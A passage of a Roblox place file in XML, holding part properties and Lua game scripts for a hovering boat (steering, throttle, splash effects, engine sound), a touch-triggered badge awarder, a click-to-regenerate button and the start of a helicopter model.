											<Z>1</Z>
										</Vector3>
									</Properties>
								</Item>
							</Item>
							<Item class="Script" referent="RBX1232">
								<Properties>
									<bool name="Archivable">true</bool>
									<bool name="Disabled">true</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">Script</string>
									<ProtectedString name="Source">bin = script.Parent
VS = bin.VehicleSeat
RTurn = false
LTurn = false
MoveR = false
MoveF = false
NotMoving = true 
engine = script.Parent.Base
position = engine.Velocity
bin.Base.BG.cframe = bin.Base.CFrame

function DirChng()
if VS.Steer == 1 then 
	RTurn = true
		while RTurn do
			bin.Base.BG.cframe = bin.Base.CFrame * CFrame.fromEulerAnglesXYZ(0, -VS.TurnSpeed, 0)
			wait(0.1)
		end
else if VS.Steer == -1 then 
	LTurn = true 
		while LTurn do
			bin.Base.BG.cframe = bin.Base.CFrame * CFrame.fromEulerAnglesXYZ(0, VS.TurnSpeed, 0)
			wait(0.1)
		end
else if VS.Steer == 0 then 
	RTurn = false
	LTurn = false 
end
end
end
end

VS.Changed:connect(DirChng)
</ProtectedString>
								</Properties>
							</Item>
							<Item class="VehicleSeat" referent="RBX1233">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">0</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">2</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">199</int>
									<CoordinateFrame name="CFrame">
										<X>-272</X>
										<Y>5.49662018</Y>
										<Z>167</Z>
										<R00>-1.34065384e-022</R00>
										<R01>3.40984851e-020</R01>
										<R02>1</R02>
										<R10>3.35765475e-021</R10>
										<R11>1</R11>
										<R12>-3.40984851e-020</R12>
										<R20>-1</R20>
										<R21>3.35765475e-021</R21>
										<R22>-1.34065384e-022</R22>
									</CoordinateFrame>
									<bool name="CanCollide">true</bool>
									<float name="Elasticity">0.5</float>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<bool name="HeadsUpDisplay">true</bool>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">0</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<float name="MaxSpeed">0</float>
									<string name="Name">VehicleSeat</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>1.49274233e-018</X>
										<Y>-5.30081247e-020</Y>
										<Z>-9.65510091e-020</Z>
									</Vector3>
									<int name="Steer">0</int>
									<int name="Throttle">0</int>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">0</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Torque">1</float>
									<float name="Transparency">0</float>
									<float name="TurnSpeed">0</float>
									<Vector3 name="Velocity">
										<X>-2.02750938e-019</X>
										<Y>0.053320989</Y>
										<Z>5.78146102e-019</Z>
									</Vector3>
									<Vector3 name="size">
										<X>2</X>
										<Y>1</Y>
										<Z>2</Z>
									</Vector3>
								</Properties>
								<Item class="BlockMesh" referent="RBX1234">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>-0.300000012</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>0.400000006</Y>
											<Z>1</Z>
										</Vector3>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
								</Item>
							</Item>
							<Item class="Script" referent="RBX1235">
								<Properties>
									<bool name="Archivable">true</bool>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">ParentScript</string>
									<ProtectedString name="Source">seat = script.Parent.VehicleSeat

function onChildAdded(part)
	if part.className == &quot;Weld&quot; then
		local torso = part.Part1
		if torso ~= nil then
			local parent = torso.Parent
			if parent ~= nil then
				script.Parent.Parent = parent
				script.Parent.Base.Anchored = false
			end
		end
	end
end

seat.ChildAdded:connect(onChildAdded)
</ProtectedString>
								</Properties>
							</Item>
							<Item class="Part" referent="RBX1236">
								<Properties>
									<bool name="Anchored">true</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">2</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">0</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">26</int>
									<CoordinateFrame name="CFrame">
										<X>-263</X>
										<Y>3</Y>
										<Z>167</Z>
										<R00>-0</R00>
										<R01>0</R01>
										<R02>1</R02>
										<R10>-0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>-1</R20>
										<R21>0</R21>
										<R22>0</R22>
									</CoordinateFrame>
									<bool name="CanCollide">true</bool>
									<float name="Elasticity">0.5</float>
									<token name="FormFactor">0</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">2</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">2</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Base</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">2</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">2</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0</float>
									<Vector3 name="Velocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>12</X>
										<Y>4</Y>
										<Z>30</Z>
									</Vector3>
								</Properties>
								<Item class="BlockMesh" referent="RBX1237">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
								</Item>
								<Item class="BodyGyro" referent="RBX1238">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="D">500</float>
										<string name="Name">BG</string>
										<float name="P">3000</float>
										<CoordinateFrame name="cframe">
											<X>109</X>
											<Y>3.4000001</Y>
											<Z>18</Z>
											<R00>1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>1</R22>
										</CoordinateFrame>
										<Vector3 name="maxTorque">
											<X>0</X>
											<Y>400000</Y>
											<Z>0</Z>
										</Vector3>
									</Properties>
								</Item>
								<Item class="BodyVelocity" referent="RBX1239">
									<Properties>
										<bool name="Archivable">true</bool>
										<string name="Name">BV</string>
										<float name="P">1250</float>
										<Vector3 name="maxForce">
											<X>1000000</X>
											<Y>0</Y>
											<Z>1000000</Z>
										</Vector3>
										<Vector3 name="velocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
									</Properties>
								</Item>
								<Item class="BodyPosition" referent="RBX1240">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="D">1250</float>
										<string name="Name">Hover</string>
										<float name="P">10000</float>
										<Vector3 name="maxForce">
											<X>0</X>
											<Y>INF</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="position">
											<X>0</X>
											<Y>1</Y>
											<Z>0</Z>
										</Vector3>
									</Properties>
								</Item>
								<Item class="Sound" referent="RBX1241">
									<Properties>
										<bool name="Archivable">true</bool>
										<bool name="Looped">true</bool>
										<string name="Name">Engine</string>
										<float name="Pitch">6</float>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><url>http://www.roblox.com/asset/?id=13510352</url></Content>
										<float name="Volume">1</float>
									</Properties>
								</Item>
								<Item class="Script" referent="RBX1242">
									<Properties>
										<bool name="Archivable">true</bool>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">EngineScript</string>
										<ProtectedString name="Source">function OnF()
	script.Parent.Engine.Pitch = (script.Parent.Parent.VehicleSeat.MaxSpeed / 10) + 2.5
	script.Parent.Engine:play()
end

function OnB()
	script.Parent.Engine.Pitch = -(script.Parent.Parent.VehicleSeat.MaxSpeed / 10) + 2.5
	script.Parent.Engine:play()
end

function Off()
	script.Parent.Engine:stop()
end

function Check()
	if script.Parent.Parent.VehicleSeat.MaxSpeed &gt; 0 then
		OnF()
	elseif script.Parent.Parent.VehicleSeat.MaxSpeed &lt; 0 then
		OnB()
	elseif script.Parent.Parent.VehicleSeat.MaxSpeed == 0 then
		Off()
	end
end

script.Parent.Parent.VehicleSeat.Changed:connect(Check)
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										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>2</X>
										<Y>1</Y>
										<Z>4</Z>
									</Vector3>
								</Properties>
								<Item class="BlockMesh" referent="RBX1303">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX1304">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">0</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">4</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">23</int>
									<CoordinateFrame name="CFrame">
										<X>-246</X>
										<Y>3</Y>
										<Z>167</Z>
										<R00>-1</R00>
										<R01>-0</R01>
										<R02>-0</R02>
										<R10>-0</R10>
										<R11>-0</R11>
										<R12>-1</R12>
										<R20>-0</R20>
										<R21>-1</R21>
										<R22>-0</R22>
									</CoordinateFrame>
									<bool name="CanCollide">true</bool>
									<float name="Elasticity">0.5</float>
									<token name="FormFactor">1</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">0</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Part</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">3</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0</float>
									<Vector3 name="Velocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>4</X>
										<Y>12</Y>
										<Z>4</Z>
									</Vector3>
								</Properties>
								<Item class="SpecialMesh" referent="RBX1305">
									<Properties>
										<bool name="Archivable">true</bool>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<Content name="MeshId"><null></null></Content>
										<token name="MeshType">0</token>
										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>1.5</Y>
											<Z>1</Z>
										</Vector3>
										<Content name="TextureId"><null></null></Content>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
								</Item>
							</Item>
							<Item class="Script" referent="RBX1306">
								<Properties>
									<bool name="Archivable">true</bool>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">BoatScript</string>
									<ProtectedString name="Source">bin = script.Parent
VS = bin.VehicleSeat
engine = script.Parent.Base
position = engine.Velocity

function SplashF()
		splash = Instance.new(&quot;Part&quot;)
		splash.formFactor = &quot;Symmetric&quot;
		splash.Shape = &quot;Ball&quot;
		splash.TopSurface = 0
		splash.BottomSurface = 0
		splash.BrickColor = BrickColor.new(23)
		splash.Transparency = 0.4
		splash.Size = Vector3.new(1,1,1)
		splash.Anchored = true
		splash.CanCollide = false
		splash.CFrame = bin.Base.CFrame * CFrame.new(0,-0.85,-16)
		splash.Parent = bin

		local wtscr = script.WaterScript:clone()
		wtscr.Disabled = false
		wtscr.Parent = splash

		local mesh = Instance.new(&quot;SpecialMesh&quot;)
		mesh.MeshType = &quot;Sphere&quot;
		mesh.Scale = Vector3.new(16,4,20)
		mesh.Parent = splash
end

function SplashB()
		splash = Instance.new(&quot;Part&quot;)
		splash.formFactor = &quot;Symmetric&quot;
		splash.Shape = &quot;Ball&quot;
		splash.TopSurface = 0
		splash.BottomSurface = 0
		splash.BrickColor = BrickColor.new(23)
		splash.Transparency = 0.4
		splash.Size = Vector3.new(1,1,1)
		splash.Anchored = true
		splash.CanCollide = false
		splash.CFrame = bin.Base.CFrame * CFrame.new(0,-0.85,16)
		splash.Parent = bin

		local wtscr = script.WaterScript:clone()
		wtscr.Disabled = false
		wtscr.Parent = splash

		local mesh = Instance.new(&quot;SpecialMesh&quot;)
		mesh.MeshType = &quot;Sphere&quot;
		mesh.Scale = Vector3.new(16,4,20)
		mesh.Parent = splash
end

while true do

---------------------------------Throttle

	if VS.Throttle == 1 then
		if VS.MaxSpeed &lt; 41 then
			VS.MaxSpeed = VS.MaxSpeed + VS.Torque
		end

		if VS.MaxSpeed &gt; 0 then
			SplashF()
		elseif VS.MaxSpeed &lt; 0 then
			SplashB()
		end

	elseif VS.Throttle == -1 then
		if VS.MaxSpeed &gt; -25 then
			VS.MaxSpeed = VS.MaxSpeed - VS.Torque
		end

		if VS.MaxSpeed &gt; 0 then
			SplashF()
		elseif VS.MaxSpeed &lt; 0 then
			SplashB()
		end

	elseif VS.Throttle == 0 then
		if VS.MaxSpeed &gt;= 1 then
			--VS.MaxSpeed = VS.MaxSpeed - VS.Torque
			SplashF()
		elseif VS.MaxSpeed &lt;= -1 then
			--VS.MaxSpeed = VS.MaxSpeed + VS.Torque
			SplashB()
		end
	end

---------------------------------Steering

	if VS.Steer == 1 then 
		if VS.TurnSpeed &gt; -0.14 then
			VS.TurnSpeed = VS.TurnSpeed - 0.02
		end
	elseif VS.Steer == -1 then 
		if VS.TurnSpeed &lt; 0.14 then
			VS.TurnSpeed = VS.TurnSpeed + 0.02
		end
	elseif VS.Steer == 0 then 
		if VS.TurnSpeed &lt; 0 then
			VS.TurnSpeed = VS.TurnSpeed + 0.02
		elseif VS.TurnSpeed &gt; 0 then
			VS.TurnSpeed = VS.TurnSpeed - 0.02
		end
		if VS.TurnSpeed &lt;= 0.2 and VS.TurnSpeed &gt;= -0.2 then
			VS.TurnSpeed = 0
		end
	end

---------------------------------Application

	bin.Base.BG.cframe = bin.Base.CFrame * CFrame.fromEulerAnglesXYZ(0, VS.TurnSpeed, 0)
	bin.Base.BV.velocity = bin.Base.CFrame.lookVector * VS.MaxSpeed

	wait(0.2)
end

--(C) 2009 Terran Research Commission
</ProtectedString>
								</Properties>
								<Item class="Script" referent="RBX1307">
									<Properties>
										<bool name="Archivable">true</bool>
										<bool name="Disabled">true</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">WaterScript</string>
										<ProtectedString name="Source">wait(0.2)
script.Parent.Transparency = 0.5
script.Parent.Mesh.Scale = Vector3.new(       18,	3.8,	22	)
wait(0.2)
script.Parent.Transparency = 0.6
script.Parent.Mesh.Scale = Vector3.new(       22,	3.6,	28	)
wait(0.2)
script.Parent.Transparency = 0.7
script.Parent.Mesh.Scale = Vector3.new(       26,	3.4,	34	)
wait(0.2)
script.Parent.Transparency = 0.8
script.Parent.Mesh.Scale = Vector3.new(       30,	3.2,	40	)
wait(0.2)
script.Parent.Transparency = 0.9
script.Parent.Mesh.Scale = Vector3.new(       34,	3,	46	)
wait(0.2)
script.Parent:remove()
</ProtectedString>
									</Properties>
								</Item>
							</Item>
						</Item>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1308">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">194</int>
				<CoordinateFrame name="CFrame">
					<X>-124</X>
					<Y>3.80000019</Y>
					<Z>198.5</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1056</token>
				<string name="Name">Base</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>238</X>
					<Y>6</Y>
					<Z>157</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Model" referent="RBX1309">
			<Properties>
				<bool name="Archivable">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">BadgeAwarder</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="Part" referent="RBX1310">
				<Properties>
					<bool name="Anchored">true</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">2</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">2</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1003</int>
					<CoordinateFrame name="CFrame">
						<X>-114</X>
						<Y>7.4000001</Y>
						<Z>188</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">2</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">2</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Platform</string>
					<float name="Reflectance">1</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">2</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">2</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>10</X>
						<Y>1.20000005</Y>
						<Z>10</Z>
					</Vector3>
				</Properties>
				<Item class="Decal" referent="RBX1311">
					<Properties>
						<bool name="Archivable">true</bool>
						<token name="Face">1</token>
						<string name="Name">Decal</string>
						<float name="Shiny">20</float>
						<float name="Specular">0</float>
						<Content name="Texture"><url>http://www.roblox.com/asset/?id=52673856</url></Content>
						<float name="Transparency">0</float>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX1312">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><url>http://www.roblox.com/asset/?id=13326026</url></Content>
						<string name="Name">BadgeAwarderScript</string>
						<ProtectedString name="Source">print(&quot;Badge Awarder Loaded. BadgeID: &quot; .. script.Parent.BadgeID.Value)



-- ROBLOX scripter hackers, see what you can do with this:
-- game:GetService(&quot;BadgeService&quot;):UserHasBadge(userid, badgeid)


function OnTouch(part)
	if (part.Parent:FindFirstChild(&quot;Humanoid&quot;) ~= nil) then
		local p = game.Players:GetPlayerFromCharacter(part.Parent)
		if (p ~= nil) then
			print(&quot;Awarding BadgeID: &quot; ..script.Parent.BadgeID.Value .. &quot; to UserID: &quot; .. p.userId)
			local b = game:GetService(&quot;BadgeService&quot;)
			b:AwardBadge(p.userId, script.Parent.BadgeID.Value)
		end
	end
end

script.Parent.Touched:connect(OnTouch)
</ProtectedString>
					</Properties>
				</Item>
				<Item class="IntValue" referent="RBX1313">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">BadgeID</string>
						<int name="Value">52673914</int>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Model" referent="RBX1314">
			<Properties>
				<bool name="Archivable">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="Part" referent="RBX1315">
				<Properties>
					<bool name="Anchored">true</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">104</int>
					<CoordinateFrame name="CFrame">
						<X>-118</X>
						<Y>27.3999996</Y>
						<Z>236</Z>
						<R00>-1</R00>
						<R01>0</R01>
						<R02>-0</R02>
						<R10>-0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>-0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">2</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Button1</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>4</X>
						<Y>0.400000006</Y>
						<Z>4</Z>
					</Vector3>
				</Properties>
				<Item class="ClickDetector" referent="RBX1316">
					<Properties>
						<bool name="Archivable">true</bool>
						<float name="MaxActivationDistance">100</float>
						<string name="Name">ClickDetector</string>
					</Properties>
				</Item>
				<Item class="Fire" referent="RBX1317">
					<Properties>
						<bool name="Archivable">true</bool>
						<Color3 name="Color">4294948864</Color3>
						<bool name="Enabled">false</bool>
						<string name="Name">Fire</string>
						<Color3 name="SecondaryColor">4294901760</Color3>
						<float name="heat_xml">25</float>
						<float name="size_xml">30</float>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX1318">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">regen</string>
						<ProtectedString name="Source">-- dark886&apos;s click regen script 
-- just place this script to the button
-- just place the button to the model
-- just place the model to anywhere lol

location = script.Parent.Parent.Parent
regen = script.Parent.Parent
save = regen:clone()

function onClicked()
	regen:remove()
	back = save:clone()
	back.Parent = location
	back:MakeJoints()
end 

script.Parent.ClickDetector.MouseClick:connect(onClicked)</ProtectedString>
					</Properties>
				</Item>
				<Item class="ForceField" referent="RBX1319">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">ForceField</string>
					</Properties>
				</Item>
			</Item>
			<Item class="Model" referent="RBX1320">
				<Properties>
					<bool name="Archivable">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Heli</string>
					<Ref name="PrimaryPart">null</Ref>
				</Properties>
				<Item class="Model" referent="RBX1321">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Helicopter</string>
						<Ref name="PrimaryPart">null</Ref>
					</Properties>
					<Item class="Model" referent="RBX1322">
						<Properties>
							<bool name="Archivable">true</bool>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">Parts</string>
							<Ref name="PrimaryPart">null</Ref>
						</Properties>
						<Item class="Seat" referent="RBX1323">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">0</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
